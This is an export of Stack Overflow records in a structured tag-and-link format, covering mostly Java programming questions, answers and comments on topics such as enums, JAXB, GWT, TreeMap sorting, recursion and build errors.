tags question: http://stackoverflow.com/q/22310127
tags question: http://stackoverflow.com/q/22193382
tags question: http://stackoverflow.com/q/22246015
tags question: http://stackoverflow.com/q/22238634
tags question: http://stackoverflow.com/q/22248525
tags question: http://stackoverflow.com/q/22174697
tags question: http://stackoverflow.com/q/22250153
tags question: http://stackoverflow.com/q/22196385
tags question: http://stackoverflow.com/q/22252215
tags question: http://stackoverflow.com/q/22196172
tags question: http://stackoverflow.com/q/22208008
tags question: http://stackoverflow.com/q/22289778
tags question: http://stackoverflow.com/q/22298118
tags question: http://stackoverflow.com/q/22217914
tags question: http://stackoverflow.com/q/22225854
tags question: http://stackoverflow.com/q/22277481
type: Tag
tags question: http://stackoverflow.com/q/22236239
tags question: http://stackoverflow.com/q/22193426
tags question: http://stackoverflow.com/q/22318339
tags question: http://stackoverflow.com/q/22202605
tags question: http://stackoverflow.com/q/22298056
tags question: http://stackoverflow.com/q/22256785
tags question: http://stackoverflow.com/q/22260528
tags question: http://stackoverflow.com/q/22275198
tags question: http://stackoverflow.com/q/22222720
tags question: http://stackoverflow.com/q/22179086
tags question: http://stackoverflow.com/q/22259655
tags question: http://stackoverflow.com/q/22198534
tags question: http://stackoverflow.com/q/22253642
tags question: http://stackoverflow.com/q/22317434
tags question: http://stackoverflow.com/q/22225580
tag name: jsp
tags question: http://stackoverflow.com/q/22208237
tags question: http://stackoverflow.com/q/22255158
tags question: http://stackoverflow.com/q/22227022
tags question: http://stackoverflow.com/q/22321753
tags question: http://stackoverflow.com/q/22216560
tags question: http://stackoverflow.com/q/22284071
tags question: http://stackoverflow.com/q/22291238
tags question: http://stackoverflow.com/q/22267129
tags question: http://stackoverflow.com/q/22259177
tags question: http://stackoverflow.com/q/22190151
tags question: http://stackoverflow.com/q/22293665
tags question: http://stackoverflow.com/q/22221579
tags question: http://stackoverflow.com/q/22291946
tags question: http://stackoverflow.com/q/22301148
tags question: http://stackoverflow.com/q/22294909
tags question: http://stackoverflow.com/q/22237676
tags question: http://stackoverflow.com/q/22180541
tags question: http://stackoverflow.com/q/22246138
tags question: http://stackoverflow.com/q/22297843
tags question: http://stackoverflow.com/q/22174496
tags question: http://stackoverflow.com/q/22224742
tags question: http://stackoverflow.com/q/22214629
tags question: http://stackoverflow.com/q/22268836
tags question: http://stackoverflow.com/q/22195394
tags question: http://stackoverflow.com/q/22200553
tags question: http://stackoverflow.com/q/22226118
tags question: http://stackoverflow.com/q/22229010
tags question: http://stackoverflow.com/q/22223933

http://stackoverflow.com/a/22199806
has comment: http://stackoverflow.com/comment/117589669
downvote count: 0
answers question: http://stackoverflow.com/q/22199078
type: Answer
score: 7
upvote count: 7
has body: I think what you want to create is a JLabel with custom icon You should create a JLabel and set it's icon, like this: JLabel label = new JLabel(language.getString("translation")); label.setIcon(new ImageIcon(/* path of your icon */)); And if you want fix the text overlap, you should set the text alignment like this: lblText.setHorizontalTextPosition(JLabel.CENTER);

http://stackoverflow.com/a/22311932
answers question: http://stackoverflow.com/q/22310592
upvote count: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22310592
type: AcceptedAnswer
score: 5
type: Answer
has comment: http://stackoverflow.com/comment/33939020
has body: No direct answer here, but some useful resources: I find Stuart Sierra's class diagram project to be hugely useful for visualizing the class structure of Clojure and Java interfaces it depends on. Chouser has some older static diagrams here If you are creating custom collections via deftype, this scaffolding macro can save you a lot of time
has comment: http://stackoverflow.com/comment/70864881

http://stackoverflow.com/q/22293780
tagged with: gwt
has answer: http://stackoverflow.com/a/22293957
tagged with: enums
tagged with: java
has comment: http://stackoverflow.com/comment/33870998
has comment: http://stackoverflow.com/comment/33871159
type: Question
score: 0
tagged with: string
tagged with: type-conversion
has comment: http://stackoverflow.com/comment/33871102
answer count: 3
has comment: http://stackoverflow.com/comment/33870997
has title: Enum to String Conversion
has answer: http://stackoverflow.com/a/22293844
has comment: http://stackoverflow.com/comment/33870926
has body: I have a class TestCase. Inside of this I have the inner class Test. Inside the class enum OwnerType with setters and getters of the enum. public static final class Test { public enum OwnerType { User("User"), Role("Role"); private final String value; private OwnerType(String value) { this.value = value; } public String toValue() { return value; } } private OwnerType m_ownerType; public OwnerType getOwnerType() { return m_ownerType; } public void setOwnerType(OwnerType m_ownerType) { this.m_ownerType = m_ownerType; } private JSONObject getJSONObject() { JSONObject obj = new JSONObject(); obj.put(KEY, new JSONString(m_ownerType.toString())); // Showing Error Enum to String Conversion return obj; } } m_ownerType is OwnerType Enum so in obj.put() I am doing wrong related with some conversion from enum to string. Thanks.
has comment: http://stackoverflow.com/comment/33871065
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22294095

http://stackoverflow.com/q/22262782
upvote count: 1
type: Question
tagged with: overriding
tagged with: inheritance
has comment: http://stackoverflow.com/comment/33815971
answer count: 2
has title: How To Override Constructor
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22263176
tagged with: constructor
has answer: http://stackoverflow.com/a/22263452
has body: Here is my code: import java.io.*; public class WrappedWriter extends PrintWriter { public WrappedWriter(OutputStream o){ super(o); } public WrappedWriter(File f) throws FileNotFoundException{ super(f); } public WrappedWriter(String s) throws FileNotFoundException{ super(s); } } As you can see, PrintWriter is being extended by this class. In the WrappedWriter class, I go on to create a string which I can print either to the terminal or write to a file. I am told that in order to write it to a file, I have to insert something into the second and third constructor here. I have already put super() in order to call upon the parent class, but I am trying to find out how I can write the String I end up getting to the File f by typing code in the constructor. Can anyone point me in the right direction? Here is what is supposed to happen when I put in certain inputs in the interactive mode. WrappedWriter out = new WrappedWriter(System.out) out = new WrappedWriter("gettysburg.txt"); out.println("Four score and seven years ago our fathers brought forth, upon this continent, a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.") out.close(); After out.close is typed in, it is supposed to write the string to the file gettysburg.txt, however it is not doing so.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33816168
score: 1
tagged with: java

http://stackoverflow.com/comment/33838036
type: Comment
score: 0
has text: @peter.petrov those would count as errors that I would need to save. I'm sorry if I wasn't clear enough before.
comment on: http://stackoverflow.com/q/22275336
type: QuestionComment

http://stackoverflow.com/comment/33803225
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22254691
type: Comment
has text: I have done the same changes but still it takes different shell. It wont retain same shell.

xslt
tags question: http://stackoverflow.com/q/22204152
tags question: http://stackoverflow.com/q/22185168
tags question: http://stackoverflow.com/q/22319489
tags question: http://stackoverflow.com/q/22228055
tag name: xslt
type: Tag
tags question: http://stackoverflow.com/q/22193792

http://stackoverflow.com/comment/34091467
comment on: http://stackoverflow.com/a/22216477
type: AnswerComment
has text: Hey Alex, I tried building the dolphinPlayer project both on the mac and Ubuntu operating systems and received the same error: E/AndroidRuntime(13450): `FATAL EXCEPTION: main 03-14 22:07:42.563: E/AndroidRuntime(13450): java.lang.UnsatisfiedLinkError: Couldn't load ffmpeg: findLibrary returned null` I just imported the project name 'p' within the zip from the link above into ADT and attempted to run it as an application. Am I missing something? Once I can get this app to run on its own, then I should be able to make an empty android project out of it with ffmpeg libraries included yes?
score: 0
type: Comment

http://stackoverflow.com/q/22323628
tagged with: servlets
has title: Does Accept-Ranges work with RequestBuilder in GWT?
has comment: http://stackoverflow.com/comment/33982494
answer count: 1
downvote count: 0
favorite count: 0
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/22360365
tagged with: java
has body: I am trying to use RequestBuilder in GWT to see if Accept-Ranges is supported. Following is my client code: RequestBuilder builder = new RequestBuilder(RequestBuilder.GET,pathToServlet); builder.setHeader("Range","bytes=0-10"); RequestCallback callback = new RequestCallback() { @Override public void onError(Request arg0, Throwable arg1) { } @Override public void onResponseReceived(Request req, Response res) { log.info("Text:"+res.getText()); log.info("Code:"+res.getStatusCode()); } }; try { builder.sendRequest(null, callback); } catch (RequestException e) {} And my servlet code is just a simple test code: public class RangeTest extends HttpServlet{ static Logger log = Logger.getLogger(RangeTest.class); @Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String output = new String("This is a test string to be sent to the client"); response.setContentType("text/xml"); PrintWriter out = response.getWriter(); out.println(output); } } In the output I get on the client, following is printed: Text:This is a test string to be sent to the client Code:200 What I expected was, since I gave the range header as 0-10 in the request, only the first 10 bytes will be sent to the client. But here the entire string is getting sent. What am I doing wrong here? Is there anything I have missed?
upvote count: 1
type: Question
tagged with: gwt
accepted answer: http://stackoverflow.com/a/22360365
tagged with: http-headers

http://stackoverflow.com/q/22182534
tagged with: treemap
has title: Converting the sort order of a given SortedMap depending on the key property
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33670467
accepted answer: http://stackoverflow.com/a/22183451
type: Question
tagged with: dictionary
has body: I have a SortedMap ( the implementation is a TreeMap ) that looks something like this: [ProjectOne] -&gt; [ActivityOne,ActivityTwo,ActivityThree] [ProjectTwo] -&gt; [ActivityFour,ActivityFive,ActivitySix] [ProjectThree] -&gt; [ActivitySeven,ActivityEight,ActivityNine] [ProjectFour] -&gt; [ActivityTen,ActivityEleven,ActivityTwelve] Every Activity has a Project and currently the map is grouped by the Projects of activities. So ActivityOne has ProjectOne, ActivityFour has ProjectTwo etc.. Every Project has a Unit. So classes look like this: class Project{ int id; Unit unit; } and Unit class: class Unit{ int id; } and Activity class: class Activity{ int id; Project project; } Now assume ProjectOne and ProjectThree has the same Unit ( lets say where id = 1 ), and ProjectTwo and ProjectFour has the same Unit ( where id = 2 ). I need to convert the SortedMap I have into this: [ProjectOne] -&gt; [ActivityOne,ActivityTwo,ActivityThree] [ProjectThree] -&gt; [ActivitySeven,ActivityEight,ActivityNine] [ProjectTwo] -&gt; [ActivityFour,ActivityFive,ActivitySix] [ProjectFour] -&gt; [ActivityTen,ActivityEleven,ActivityTwelve] What I mean is, I need sort the given map depending on the Unit of the Project Elements. So I need a method: public SortedMap&lt;Project,List&lt;Activity&gt;&gt; sortByUnits(SortedMap&lt;Project,List&lt;Activity&gt;&gt; mapToBeSorted){ // Implementation here... return newMapThatIsSorted; } How can I achieve this? I have been trying this whole day and I guess I am not able to solve it. Any help is appreciated.
tagged with: java
score: 0
tagged with: sortedmap
answer count: 1
has answer: http://stackoverflow.com/a/22183451
tagged with: data-structures

http://stackoverflow.com/q/22301708
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33886085
duplicate of: http://stackoverflow.com/q/15764143
has comment: http://stackoverflow.com/comment/33884925
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33885145
type: Question
tagged with: jakarta-ee
has body: I want to upgrade java version to 1.6 from 1.5. but i want to keep my tomcat server intact that is to 5.5.9. I need to know what are the possible key areas where i might face issues after upgrading? Or what should be the compatibility test criteria should be before doing anything on the server? I need to be aware of all the possible issues that i might face. Any help is very much appreciated. Thank you in advance.. my server details: os: Red Hat Linux jdk: 1.5.0_03 tomcat: 5.5.9 ram: 16 gb
tagged with: java-5
has comment: http://stackoverflow.com/comment/33885121
has comment: http://stackoverflow.com/comment/33886015
tagged with: tomcat
has title: upgrade java from 1.5 to 1.6 on tomcat 5
score: 0
tagged with: java-6
has comment: http://stackoverflow.com/comment/33961296
linked to: http://stackoverflow.com/q/15764143
has comment: http://stackoverflow.com/comment/33886226

http://stackoverflow.com/q/22314453
has comment: http://stackoverflow.com/comment/33908588
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33908904
type: Question
has comment: http://stackoverflow.com/comment/33908712
downvote count: 0
tagged with: travis-ci
has answer: http://stackoverflow.com/a/25295160
has body: I'm using Travis CI to build my code. I get unsupported major minor error. I know this error occurs when compiled version is older that executing version. But I set the compile version as 1.6 in my pom file and Travis CI also executing it with openjdk6. So, I don't see any issue of difference in java version. I cannot set my java path in pom because I use it on different servers, i.e, my computer, travis and heroku. So they may be different and so I don't want to set it in POM. You can see travis failure at https://travis-ci.org/santoshkt/cdetsd123. Any pointers are appreciated. Also if you see below aoltest.RegisterTest gets passed but aoltest.RegisterServiceTest fails. Running aoltest.RegisterTest Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.03 sec Running aoltest.RegisterServiceTest Tests run: 2, Failures: 0, Errors: 2, Skipped: 0, Time elapsed: 0.025 sec &lt;&lt;&lt; FAILURE! testProcessRegistration1(aoltest.RegisterServiceTest) Time elapsed: 0.023 sec &lt;&lt;&lt; ERROR! java.lang.UnsupportedClassVersionError: javax/servlet/http/HttpServletRequest : Unsupported major.minor version 51.0 at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClass(ClassLoader.java:643) at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) at java.net.URLClassLoader.defineClass(URLClassLoader.java:277) at java.net.URLClassLoader.access$000(URLClassLoader.java:73) at java.net.URLClassLoader$1.run(URLClassLoader.java:212) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:205) at java.lang.ClassLoader.loadClass(ClassLoader.java:323) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:294) at java.lang.ClassLoader.loadClass(ClassLoader.java:268) at aoltest.RegisterServiceTest.testProcessRegistration1(RegisterServiceTest.java:42) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Na…
has comment: http://stackoverflow.com/comment/33908516
answer count: 1
tagged with: junit
favorite count: 0
has title: Unsupported major.minor version 51.0 Error when using 1.6 in pom and openjdk6 for one JUnit
has comment: http://stackoverflow.com/comment/33908538
tagged with: maven
upvote count: 1
accepted answer: http://stackoverflow.com/a/25295160
has comment: http://stackoverflow.com/comment/33908824
type: AnsweredQuestion

http://stackoverflow.com/comment/33789334
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22200773
has text: SessionFactory != Session. Do you use short-lived-sessions?
type: Comment

http://stackoverflow.com/q/22299604
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22299834
tagged with: mbeans
score: 0
answer count: 1
tagged with: jmx
has body: I have a requirement where I need to design a small app which contains a button. When the user clicks on that, it will connect to corresponding weblogic server and get the MDS dump ZIP file located in particular location downloaded for the user. I need to implement this programmatically using java language and preferably using MBeans. I am new to this MBeans concept. Can any one help me out on how to figure out the correct MBean to get access to the dump files and download them?
has title: Getting Dump from weblogic server programatically
tagged with: jdeveloper
has answer: http://stackoverflow.com/a/22299834
type: AnsweredQuestion

http://stackoverflow.com/comment/33737386
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22218613
has text: I tried above code.Am getting "The operation completed successfully" in console.but its not reflecting in control panel.please suggest a way to get in control panel
type: AnswerComment

http://stackoverflow.com/comment/33839132
type: Comment
has text: @LoafOfCat: Again, what is the expected desired behavior that you're trying to achieve? Why the Timers, Why the strange image manipulation code?
comment on: http://stackoverflow.com/a/22275584
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33681637
type: Comment
has text: Hi David. I read your comment in a New Zealand accent since you are from there. :D Anyway, you are probably right, without coding this on my machine and checking. This is because there was a re-assignment in with the String references unlike the List references. :D Thank-you for the feedback. I was so bored. :D
comment on: http://stackoverflow.com/a/22188771
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33801543
type: AnswerComment
score: 0
has text: Can you suggest how I should I do that? I want to obtain IP addresses of the clients connected to asterisk and later want to establish TCP connection between the clients for file transfer as I think its difficult to with asterisk.
type: Comment
comment on: http://stackoverflow.com/a/22250271

http://stackoverflow.com/a/34300900
has comment: http://stackoverflow.com/comment/96303128
has body: This is totally untested... However, here is a snippet for CRC checksuming of a string... Changing the Width will alter whether it is an 8 bit, 16 bit, 32 bit, 64 bit, etc. The return type would also need to be altered if you need to full size. Ie setting width to 8 * 16, should result in a return that is the bottom most 64 bits ` static int WIDTH = (8 * 16);// change this to 8*4 for int, and 8 * 2 for 16 bits static int TOPBIT = (1 &lt;&lt; (WIDTH - 1)); static int POLYNOMIAL = 0xD8; /* 11011 followed by 0's */ static long CRCFunc(final String msg) { final byte message[] = msg.getBytes(); int nBytes = message.length; if(nBytes&lt;1) return 0; long rem = 0; int b; for(b=0;b&lt;nBytes;++b) { rem ^= (message[b] &lt;&lt; (WIDTH - 8)); byte bit; for(bit=8;bit&gt;0;--bit) { if ((rem &amp; TOPBIT)&gt;0) { rem = (rem&lt;&lt; 1) ^ POLYNOMIAL; } else { rem = (rem &lt;&lt; 1); } } } return (rem); } `
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22219886
has comment: http://stackoverflow.com/comment/96303058

http://stackoverflow.com/a/22223286
type: Answer
answers question: http://stackoverflow.com/q/22222090
upvote count: 1
score: 1
has body: Query query=em.createQuery("SELECT p FROM Product p WHERE ABS(p.price)&lt;50.0"); Got from the source
downvote count: 0

http://stackoverflow.com/comment/33950120
comment on: http://stackoverflow.com/a/22314534
score: 0
type: AnswerComment
has text: You've read my mind in that a registration mechanism was one of the reasons I was moving towards a dictionary to store the class information. Although is it necessary to extend the Factory class when implementing codecs, as by my understanding that would mean that I would need to create a Factory class for each codec class I create? I suspect it's necessary to allow for arguments to be passed to the codec constructors properly, but just thought I would confirm.
type: Comment

http://stackoverflow.com/comment/33817739
comment on: http://stackoverflow.com/q/22263803
score: 2
has text: No, `List<? extends Identifiable>`. It's a Generics thing; you use `extends` for interfaces as well.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33757762
has text: @323go: I'm sure that tone wasn't necessary. Can you elaborate on why this is so horrible in your opinion?
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22231510

http://stackoverflow.com/comment/70277977
comment on: http://stackoverflow.com/a/22295090
type: Comment
has text: @ArkLinlin thanks for pointing out the issue with the code i have updated the answer accordingly.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22219603
has title: GWT and dynamic tabs
tagged with: tabpanel
has comment: http://stackoverflow.com/comment/33871622
tagged with: mvp
type: UnansweredQuestion
tagged with: gwt
tagged with: java
has answer: http://stackoverflow.com/a/22220162
type: Question
answer count: 1
has body: Is it possible to create panel with dynamic added tabs in GWT using TabPanel or TabLayoutPanel. My requirements: First tab is not closeable and has a celltable. When I select row in the celltable, new tab is created. Newly created tab can be closed. My question: How to create this architecture in GWT using MVP style and UiBinder?
has comment: http://stackoverflow.com/comment/33736969
score: 0
tagged with: uibinder

http://stackoverflow.com/a/22244464
downvote count: 0
has comment: http://stackoverflow.com/comment/33782075
has comment: http://stackoverflow.com/comment/33782247
has comment: http://stackoverflow.com/comment/33782204
score: 1
answers question: http://stackoverflow.com/q/22244301
has body: ok to do this you need to records the start time, and then compare it to the current time as you go. long start = System.currentTimeMillis(); String str="a"; while (true) { long now = System.currentTimeMillis(); if (now - start &gt; 1000) break; // do your stuff str=str + "a"; } System.out.println (str); The above code will probably spend more time getting the time that doing the stuff you want though
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/33781971

http://stackoverflow.com/comment/33868565
score: 0
has text: have you written **Petuuk** class..if then post it..
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22292332

http://stackoverflow.com/q/22261136
has answer: http://stackoverflow.com/a/22261244
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22261420
tagged with: recursion
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22261295
has body: I am new to programming and am unable to solve this problem. I have tried changing the static, calling the method different ways, and am still unable to make it call back to itself. The point of the program is to let the user input a string and then output the reverse of the string. public class StringReverse { public static String reverse(String s) { int i = s.length()-1; String letter = ""; if(i == 0) { return""; //Base Case for the recusive method. } else { return letter = s.substring(s.length() - 1) + reverse(s.substring(s.length() - 1)); } } public static void main(String[] args) { String input = ""; Scanner in = new Scanner(System.in); do{ System.out.println("\nEnter q to quit."); System.out.println("Enter a word...(No UpperCase letters)"); input = in.nextLine(); String reversedWord = reverse(input); System.out.print(reversedWord); }while(!input.equals("q")); } }
type: Question
has title: Java Recursion: Why won't my recursion method call back to itself?
has answer: http://stackoverflow.com/a/22261218
has answer: http://stackoverflow.com/a/22261291
answer count: 7
has answer: http://stackoverflow.com/a/22261408
has answer: http://stackoverflow.com/a/22261213

http://stackoverflow.com/a/22299311
type: Answer
accepted answer of: http://stackoverflow.com/q/22298556
answers question: http://stackoverflow.com/q/22298556
score: 0
has body: You need a csv parser like CsvReader . You can use the following code as a starting point and build up on it. Hope this helps. Happy coding. public String getValue(String fileName, String rowNum, int colHeader) { String returnVal = null; String relativePath = System.getProperty("user.dir"); String csvPath = relativePath + "\\src\\main\\resources\\CSV\\" + fileName + ".csv" ; CsvReader r; try { r = new CsvReader(csvPath); while(r.readRecord()) { String row = r.get(0); if(row.equalsIgnoreCase(rowNum) ) { returnVal = r.get(colHeader); break; } } r.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return returnVal; }
type: AcceptedAnswer

http://stackoverflow.com/comment/33663803
type: AnswerComment
type: Comment
has text: I thought col takes in whatever was in the columns from columns.getstring(i)? Do i have to set col with a value
comment on: http://stackoverflow.com/a/22179034
score: 0

http://stackoverflow.com/a/22420453
score: 1
has comment: http://stackoverflow.com/comment/34093326
upvote count: 1
answers question: http://stackoverflow.com/q/22309340
has body: code snippet from AOSP API demo: // We want the alarm to go off 1hr from now. long firstTime = SystemClock.elapsedRealtime(); firstTime += 60 * 60 * 1000; // Schedule the alarm! AlarmManager am = (AlarmManager)getSystemService(ALARM_SERVICE); am.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, firstTime, 60*60*1000, sender); You may want to follow the link to view the complete example. If you what the alarm to go off on the hour (1am, 2am, ...), specify the type as RTC_WAKEUP.
downvote count: 0
has comment: http://stackoverflow.com/comment/34116043
has comment: http://stackoverflow.com/comment/34132283
type: Answer
has comment: http://stackoverflow.com/comment/34093773
has comment: http://stackoverflow.com/comment/34207940

http://stackoverflow.com/a/22266473
downvote count: 0
has body: str is declared inside your try block. You need to move the return inside that block. As a side note, it is almost never a good idea to System.out.println an exception
has comment: http://stackoverflow.com/comment/33822911
score: 1
answers question: http://stackoverflow.com/q/22266451
upvote count: 1
has comment: http://stackoverflow.com/comment/33821961
has comment: http://stackoverflow.com/comment/33821951
type: Answer

http://stackoverflow.com/a/22327862
has comment: http://stackoverflow.com/comment/33962589
answers question: http://stackoverflow.com/q/22306080
score: 3
upvote count: 3
downvote count: 0
type: Answer
has body: Due to the incompatibility of Jettison 1.2+ with XStream, upgrading XStream will cause Spring Batch to break. This is something that was recently identified but has not been addressed yet. The solution for your issue is to use Jettison 1.2 and XStream 1.4.7
has comment: http://stackoverflow.com/comment/99197856

jpa
tags question: http://stackoverflow.com/q/22274351
tags question: http://stackoverflow.com/q/22319548
tags question: http://stackoverflow.com/q/22276218
tags question: http://stackoverflow.com/q/22264209
tags question: http://stackoverflow.com/q/22258151
tags question: http://stackoverflow.com/q/22323783
tags question: http://stackoverflow.com/q/22271858
tags question: http://stackoverflow.com/q/22296640
tags question: http://stackoverflow.com/q/22170941
tags question: http://stackoverflow.com/q/22175153
tags question: http://stackoverflow.com/q/22205684
tags question: http://stackoverflow.com/q/22263434
tags question: http://stackoverflow.com/q/22256988
tags question: http://stackoverflow.com/q/22174784
tags question: http://stackoverflow.com/q/22242630
tags question: http://stackoverflow.com/q/22245817
tags question: http://stackoverflow.com/q/22269307
tags question: http://stackoverflow.com/q/22261067
tags question: http://stackoverflow.com/q/22196577
tags question: http://stackoverflow.com/q/22273200
tags question: http://stackoverflow.com/q/22200458
tags question: http://stackoverflow.com/q/22245469
tags question: http://stackoverflow.com/q/22196189
tags question: http://stackoverflow.com/q/22286649
tags question: http://stackoverflow.com/q/22182871
tags question: http://stackoverflow.com/q/22227882
tags question: http://stackoverflow.com/q/22197048
tags question: http://stackoverflow.com/q/22221006
tags question: http://stackoverflow.com/q/22168803
tags question: http://stackoverflow.com/q/22278222
tags question: http://stackoverflow.com/q/22222090
tags question: http://stackoverflow.com/q/22292393
type: Tag
tags question: http://stackoverflow.com/q/22227412
tags question: http://stackoverflow.com/q/22172763
tags question: http://stackoverflow.com/q/22294744
tags question: http://stackoverflow.com/q/22173962
tags question: http://stackoverflow.com/q/22294616
tags question: http://stackoverflow.com/q/22229497
tags question: http://stackoverflow.com/q/22195407
tags question: http://stackoverflow.com/q/22217120
tags question: http://stackoverflow.com/q/22210570
tags question: http://stackoverflow.com/q/22321029
tags question: http://stackoverflow.com/q/22282800
tags question: http://stackoverflow.com/q/22245110
tags question: http://stackoverflow.com/q/22168915
tags question: http://stackoverflow.com/q/22218143
tags question: http://stackoverflow.com/q/22178860
tags question: http://stackoverflow.com/q/22301426
tags question: http://stackoverflow.com/q/22286586
tags question: http://stackoverflow.com/q/22298317
tags question: http://stackoverflow.com/q/22231895
tags question: http://stackoverflow.com/q/22223383
tags question: http://stackoverflow.com/q/22303032
tags question: http://stackoverflow.com/q/22262916
tags question: http://stackoverflow.com/q/22171822
tags question: http://stackoverflow.com/q/22268756
tags question: http://stackoverflow.com/q/22238655
tags question: http://stackoverflow.com/q/22224354
tags question: http://stackoverflow.com/q/22252963
tags question: http://stackoverflow.com/q/22194472
tag name: jpa
tags question: http://stackoverflow.com/q/22225870
tags question: http://stackoverflow.com/q/22312463
tags question: http://stackoverflow.com/q/22209996
tags question: http://stackoverflow.com/q/22309637
tags question: http://stackoverflow.com/q/22174097
tags question: http://stackoverflow.com/q/22202506
tags question: http://stackoverflow.com/q/22196669
tags question: http://stackoverflow.com/q/22192829
tags question: http://stackoverflow.com/q/22251511
tags question: http://stackoverflow.com/q/22250427
tags question: http://stackoverflow.com/q/22211264
tags question: http://stackoverflow.com/q/22217858
tags question: http://stackoverflow.com/q/22293992
tags question: http://stackoverflow.com/q/22222846
tags question: http://stackoverflow.com/q/22225398
tags question: http://stackoverflow.com/q/22280730
tags question: http://stackoverflow.com/q/22186506
tags question: http://stackoverflow.com/q/22179881

http://stackoverflow.com/comment/33647769
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22170297
has text: whenever you are dealing with curser add this also if( cursor != null && cursor.moveToFirst() ){ num = cursor.getString(cursor.getColumnIndex("ContactNumber")); } cursor.close();
type: Comment

http://stackoverflow.com/a/22254697
answers question: http://stackoverflow.com/q/22254618
score: 0
has body: In the first case,the map will always provide compile type safety. The second one is an unchecked conversion from a pre-generics map to map of type Map&lt;String, Integer&gt;.The 2nd statement could be dangerous considering that the map may not contain String as key and Integer as value,it may as well contain simple objects of type java.lang.Object or any other Object and when your code treats them as String or Integer ,it will burst into exception
type: Answer

http://stackoverflow.com/q/22234687
type: Question
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22234794
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
accepted answer: http://stackoverflow.com/a/22234794
has title: JAXB unmarshaling issue
upvote count: 1
has body: I am attempting to unmarshal an XML file. However, I end up with : unexpected element (uri:"", local:"show-list"). Expected elements are <{}showList> My code: Show: @XmlAccessorType(XmlAccessType.FIELD) @XmlType(propOrder = { "title", "description", "host", "logo", "feed" }) public class Show { private String title; private String description; private String host; private String logo; private String feed; // getter, setter } ShowList: @XmlRootElement public class ShowList { @XmlElementWrapper(name = "shows") @XmlElement(name = "show") private ArrayList shows; public ArrayList getList() { return shows; } public void setList(ArrayList shows) { this.shows = shows; } } XML: <?xml version="1.0" encoding="utf-8"?> TQA Weekly Technology Show, dedicated to those who wish to learn about new electronics that they have bought, or will buy soon. We will explaining in each episode new ways of doing things like protecting your identity online, file backup and storage, encryption, using email wisely, and each show we will be giving you new tools to do so. You may visit our web-site for show notes, lists of software, links to sites, other suggested web-sites, or to send e-mails to Steve Smith with questions, comments or concerns. Steve Smith http://images.tqaweekly.com/tqa-weekly-logo.png http://feeds.podtrac.com/tTKj5t05olM$ ... main() public static void main(String[] args) { JAXBContext context; try { context = JAXBContext.newInstance(ShowList.class); Unmarshaller um = context.createUnmarshaller(); ShowList list = (ShowList) um.unmarshal(new File("D:/Program Files/apache-tomcat-7.0.35-windows-x86/apache-tomcat-7.0.35/webapps/xml/show.xml")); System.out.println(list.getList().size()); } catch (JAXBException e) { // TODO Auto-generated catch block e.printStackTrace(); } } Where have I made a mistake?
type: AnsweredQuestion
score: 1
tagged with: java
tagged with: jaxb

http://stackoverflow.com/comment/33651151
score: 0
type: Comment
type: QuestionComment
has text: and what is your second xml file...???
comment on: http://stackoverflow.com/q/22172152

http://stackoverflow.com/comment/33722353
has text: What do you meant by _My applicatino (sic) specifically requires that the userInterface.java file run before the CommonDenom.java_? Only **one** class is run - the one specified as the `Main-Class` in your `META-INF/MANIFEST.MF`. See [this](http://docs.oracle.com/javase/tutorial/deployment/jar/appman.html) for more information. P.S. you post of **riddled** with typos. This shows little to no effort on your part. Why should we put effort in if you cannot be bothered?
comment on: http://stackoverflow.com/q/22211381
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22193795
tagged with: regex
downvote count: 6
has comment: http://stackoverflow.com/comment/33689836
score: -5
has comment: http://stackoverflow.com/comment/33689876
tagged with: java
has title: Splitting a string with parentheses in java
has comment: http://stackoverflow.com/comment/33689839
upvote count: 1
type: Question
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22193854
type: UnansweredQuestion
has body: I have a string in the following format: (1.2,2.3),(4.5,6.7),(8.9,1.2) and so on. I want to traverse the string and create a list with the values. Each node in the list consists of 2 fields, say A and B. list.A=1.2 list.B=2.3 2nd node list.A=4.5 list.B=6.7 How can I do this?

http://stackoverflow.com/comment/33696105
score: 0
type: Comment
has text: I appreciate you answer. But i didn't want to fade in-out my sound. I just want to eliminate the gap between repetition. I will try to do this if i did't get any kinds of solution. Thanks.
type: AnswerComment
comment on: http://stackoverflow.com/a/22197239

http://stackoverflow.com/q/22266337
has comment: http://stackoverflow.com/comment/33822044
type: UnansweredQuestion
